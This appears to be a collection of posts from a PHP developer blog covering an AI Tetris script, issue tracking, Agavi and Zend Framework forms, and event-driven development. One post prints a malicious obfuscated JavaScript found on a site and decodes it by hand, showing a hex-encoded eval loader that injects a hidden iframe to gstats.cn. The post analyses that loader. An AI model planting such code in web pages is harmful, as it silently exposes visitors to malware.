Logaholic.de

Avatar

web development

aiTris – PHP playing Tetris

Yesterday i found some code i wrote in 2002. I was bored in school, and was asking myself if it would be possible to let PHP play tetris, including some visualisation. There was no AJAX or any well-known JavaScript Framework  at that time (of which i had known), so after some “print a full game table for every move you do” sessions, i finally (ab)used outputbuffer-flushing and some DHTML (dom-manipulation through javascript).

The whole thing is only one ~25kb file and resembles a full tetris playing program ;)

Since it was a fun project in my earlier stages, there are some things missing: “good code”, comments, coding standard (naming schemes), oop, … But it works.

The “AI”-part of the script is a “try and weight every possible move, choose the best” approach – one can tune the formula for this calculation for different results.

aiTris – PHP playing Tetris – Demo – just press the start button

I hereby release the source under the same license as i have chosen for this blog (creative commons share alike), so have fun!

Goodbye Pierre

Since logaholic.de was kind of inactive some weeks ago, my fellow co-blogger Pierre decided to go his own way with his own blog again. I’d like to thank you for all your effort for logaholic.de and wish you all the best. May the content be with you, my friend! :) And let there be pingbacks ^^

By the way, i’d like to point to Pierre’s own PHP Micro-framework entropy, which is in work again. I have seen some magic stuff in there so far, so let’s stay tuned for his release(s) :)

IT-Arbeitsplätze in Köln

Mein Hauptarbeitgeber, die Karo Internet GmbH, sucht unter anderem für das Projekt Xchar neue Mitarbeiter.

Für folgende Stellen wird gesucht:

Quelle

Agavi chapter in the book “Quality Assurance in PHP Projects”

Later this year, there will be a book on “Quality Assurance in PHP Projects” by Sebastian Bergmann (the author of PHPUnit) and Stefan Priebsch. Their own teaser:

“Stefan Priebsch and myself, Sebastian Bergmann, are writing a book on “Quality Assurance in PHP Projects”. The book will be published in English and German at the same time later this year.
The idea for the book is that Stefan Priebsch and I write the introductory as well as the concluding chapters while other authors contribute case studies for the middle part of the book.”

Source: Quality Assurance in PHP Projects – Introduction

As I just discovered, one case study in this book is about Agavi, contributed by David Zülke. There is also an abstract for this chapter: “Testing Agavi: Why Test Isolation Matters”.

I’m looking forward to this book: interesting topic(s), interesting case studies.

How and why to use an issue tracker and source control effectively combined

Every software development team should have an issue/bug-tracker (trac, jira, bugzilla, mantis, fogbugz, redmine, etc.) [1], and use source control (cvs, subversion, git, etc.) [2].

“I don’t care what you say. If you are developing code, even on a team of one, without an organized database listing all known bugs in the code, you are going to ship low quality code. Lots of programmers think they can hold the bug list in their heads. Nonsense. I can’t remember more than two or three bugs at a time, and the next morning, or in the rush of shipping, they are forgotten. You absolutely have to keep track of bugs formally.” [3]

The issue tracker allows you to create tasks with detailed descriptions and progress information, source control lets you add a commit message to give short information why you changed something and link it to the task.
Every good issue tracker will include tagged/linked commits to the related tasks.

If i have a ticket assigned, and commit a changeset to our repository, i will always tag it with the task id to establish a link (Check your source control connector for the syntax).
This allows not only followers of the timeline to instantly know why i did those changes, but they could also follow the link to the task and see any change related to it.
The other way around works equally: I can now check the ticket and see every related commit and its progress – even if it is not my task, i can get a feeling what the state is, what has been done, and who is working on it.
This adds transparency to my work and therefore the whole project.

My project manager now can see what i did when on which task. Using the functions of the particular issue tracker, he can see the progress of the subtask/task/milestone/project, who is doing what, and who has done what.

Leaving the commit message empty or not using the issue tracker makes your work a black box. You may have to explain, to many people, why or what for you did that commit. It will cost you (and your whole team) more time not to provide this information with the issue tracker/source control combination.

In short:

What to avoid:

- leave the commit message empty
- commit message not linked to a task
- not having created a task for your actual assignment

What to do:

+ Create a task for every task you are assigned to first
+ Link every commit through its message to the task (” * fix: caught HelloWorldException see ISSUE-1337″)
+ Always create tasks for everything (issues/bugs) you find (be sure to not duplicate issues, so use the search function first)

What you get for it:

+ You are saving your own and your team’s time
+ Transparency for yourself and the project manager(s)
+ Improved collaboration
+ Automatic documentation: what happened when to our code and why

Related links:
[1] Wikipedia: Comparison of issue tracking systems
[2] Wikipedia: Comparison of revision control software
[3] Joel Spolsky – Joel on Software – The Joel Test: 12 Steps to better Software

Agavi vs Zend Framework Part 1 – Forms

Agavi and Zend Framework are two major MVC PHP5 Frameworks today. I am actively using both in two different projects.

I will discuss some differences, starting with Part 1 now: Forms.

Forms are used in nearly any web application where you expect user-input. Following the “never trust your users” rule, proper validation is one major (security-) subtopic of forms.

1. Building simple Forms:

Zend Framework:

a) define your Zend_Form object, once, including validation

    /**
     * @return Zend_Form
     */
    protected function getDemoForm()
    {
        $form = new Zend_Form();

        $form->addElement('textarea', 'comment', array(
            'label' => 'comment:',
            'required' => true,
            'validators' => array(
                array('StringLength', array(160), array(1))
            )
        ));
        $form->addElement('submit', 'submit', array(
            'label' => 'submit',
        ));

        return $form;
    }

b) trigger validation in your action, use the result if validation succeeds

$demoForm = $this->getDemoForm();
$request = $this->getRequest();

if ($request->isPost())
{
    if ($demoForm>isValid($request->getPost()))
    {
        doSomeStuff();
        redirectToSuccessAction();
    }
}

c) pass the form object to your view

$this->view->demoForm = $demoForm;

Agavi:

a) write html code for your form in your view

You know how that works. (Or see the Agavi documentation link below)

b) add validation to your write-action

The Agavi documentation prefers defining validators in a .xml file, per action, app/modules/Posts/validate/Add.xml:  (module Post, Action Add)

<?xml version="1.0" encoding="UTF-8"?>
<ae:configurations
  xmlns="http://agavi.org/agavi/config/parts/validators/1.0"
  xmlns:ae="http://agavi.org/agavi/config/global/envelope/1.0"
  parent="%core.module_dir%/Posts/config/validators.xml"
>
  <ae:configuration>

    <validators>
      <validator class="string">
        <arguments>
          <argument>title</argument>
        </arguments>
        <errors>
          <error>The title field has an invalid value.</error>
          <error for="required">Please provide a title.</error>
          <error for="max_error">The title must be shorter than 255 characters.</error>
        </errors>
        <ae:parameters>
          <ae:parameter name="max">255</ae:parameter>
        </ae:parameters>
      </validator>
    </validators>
  </ae:configuration>
</ae:configurations>

c) formpopulationfilter magic

“All we need to do is re-display our form on the error page and the AgaviFormPopulationFilter will perform all of those duties. To re-display the form we could either include it in the ErrorViews template or we could set the input template in the view.”

2. The Zend Framework way

+ Encapsulation

+ Abstraction

+ DRY

3. The Agavi way

- I have to keep an eye to input names, as they are needed at more than one place. Beware of templating guys changing the input names, breaking stuff.

- validating an action, not a single form/form object

- breaks the DRY principle, code duplication occurs

4. Conclusion

I prefer Zend Framework over Agavi for forms. The main reason is the encapsulation in ZF with the Zend_Form object.

I can have more separated forms with separate validation on one page. I can reuse forms withouth having (that much) duplicate code anywhere. I don’t have to make changes to multiple locations if changing input names or validation, just one object holds every needed information/configuration. Zend_Form also does the html output for me, application-persistent interface guaranteed (styling is done via css or decorators per form/element).

Sources:

Twiddling with obfuscated JavaScript code

Today a friend of mine sent me a link to a blog, at which my virus-scanner went havoc. HTML/Crypt.Gen Stuff, Trojan warning, etc.
After getting the scanner to really let me see the source (…), i found this:

<script language="JavaScript" type="text/javascript">
B46F5DF="pars";B46F5DF+="eInt";D8FA33DFE494F="Stri";D8FA33DFE494F+="ng";D8FA33DFE494F+=".fr";D8FA33DFE494F+="om";D8FA33DFE494F+="CharCode";function A2E39329F3265(B5A87C40BB26CEA){var E46F3EB4=525;E46F3EB4=E46F3EB4-509;BD0AB=eval(B46F5DF+"(B5A87C40BB26CEA,E46F3EB4)");return(BD0AB);}function AFE763E61CEF(C4D8544E71077){var C58BCCF5D58E99C=982;C58BCCF5D58E99C=C58BCCF5D58E99C-980;var A04698CEC="";for(B3CA4BA50C=0;B3CA4BA50C<C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){A04698CEC+=( eval(D8FA33DFE494F+"(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))"));}eval(A04698CEC);}AFE763E61CEF("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</script>

I now was eager to find out what this does, so i started to de-obfuscate this by hand:

1. Adding linebreaks:

B46F5DF="pars";
B46F5DF+="eInt";
D8FA33DFE494F="Stri";
D8FA33DFE494F+="ng";
D8FA33DFE494F+=".fr";
D8FA33DFE494F+="om";
D8FA33DFE494F+="CharCode";
function A2E39329F3265(B5A87C40BB26CEA){
    var E46F3EB4=525;
    E46F3EB4=E46F3EB4-509;
    BD0AB=eval(B46F5DF+"(B5A87C40BB26CEA,E46F3EB4)");
    return(BD0AB);
}

function AFE763E61CEF(C4D8544E71077){
    var C58BCCF5D58E99C=982;
    C58BCCF5D58E99C=C58BCCF5D58E99C-980;
    var A04698CEC="";
    for(B3CA4BA50C=0;B3CA4BA50C<C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){
        A04698CEC+=( eval(D8FA33DFE494F+"(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))"));
    }
    eval(A04698CEC);
}

AFE763E61CEF("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");

2. Renaming the stuff, removing obfuscation:

function hex2dec(param1){
    BD0AB=parseInt(param1,16);
    return(BD0AB);
}

function decodeAndEval(param1){
    var buffer="";
    for(i=0;i<param1.length;i+=2){
        buffer+=( String.fromCharCode(hex2dec(param1.substr(i,2))) );
    }
    eval(buffer);
}

decodeAndEval("69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");

3. Echoing the decoded string:

if (document.cookie.search("rtnxw=7") == -1) {
rjpat=document.getElementById('qtit');if(rjpat==null){document.write('<iframe id=qtit src=http://gstats.cn style=display:none></iframe>');}
document.cookie = "rtnxw=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

So this small JavaScript opens an Iframe to some chinese website, which is right now marked as offensive in my firefox. I like small riddles in the morning ;)

How we use Event Driven Development in an Agavi project

We used the observer pattern to write our own EventObserver, which enables us to use Event Driven Development in an Agavi project.

Since we are working module-based, there are two simple steps to add an Event listener for your module to the system.

1. Add %module_dir%/config/event_listeners.xml

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <listeners>
        <event>
            <name>modules.forum.post.new</name>
            <callback>Forum_DefaultListener</callback>
        </event>
    </listeners>
</config>

The <name> element holds the event name or “channel”, the <callback> element holds the name of the listener-class.

2. Add %module_dir%/listeners/Forum_DefaultListener.class.php

(Note: callback name goes here as you can see, for autoloading)

class Forum_DefaultListener implements EventListenerInterface
{
    public static function listenToEvent(Event $event) {
        $name = $event->getName();
        switch($name) {
            case 'modules.forum.post.new':
                throw new HelloWorldException();
        }
    }
}

Listening to ‘modules.forum.post.new’ events is working from this point ;)

Firing events is as easy as this, anywhere in your module-code:

EventObserver::getInstance()
    ->notify(new Event('modules.forum.post.new', $message));

This call will find its way to the configured listener, Forum_DefaultListener, and Forum_DefaultListener::listenToEvent (like any other listener) will be called with an Event, including the passed $message object.

,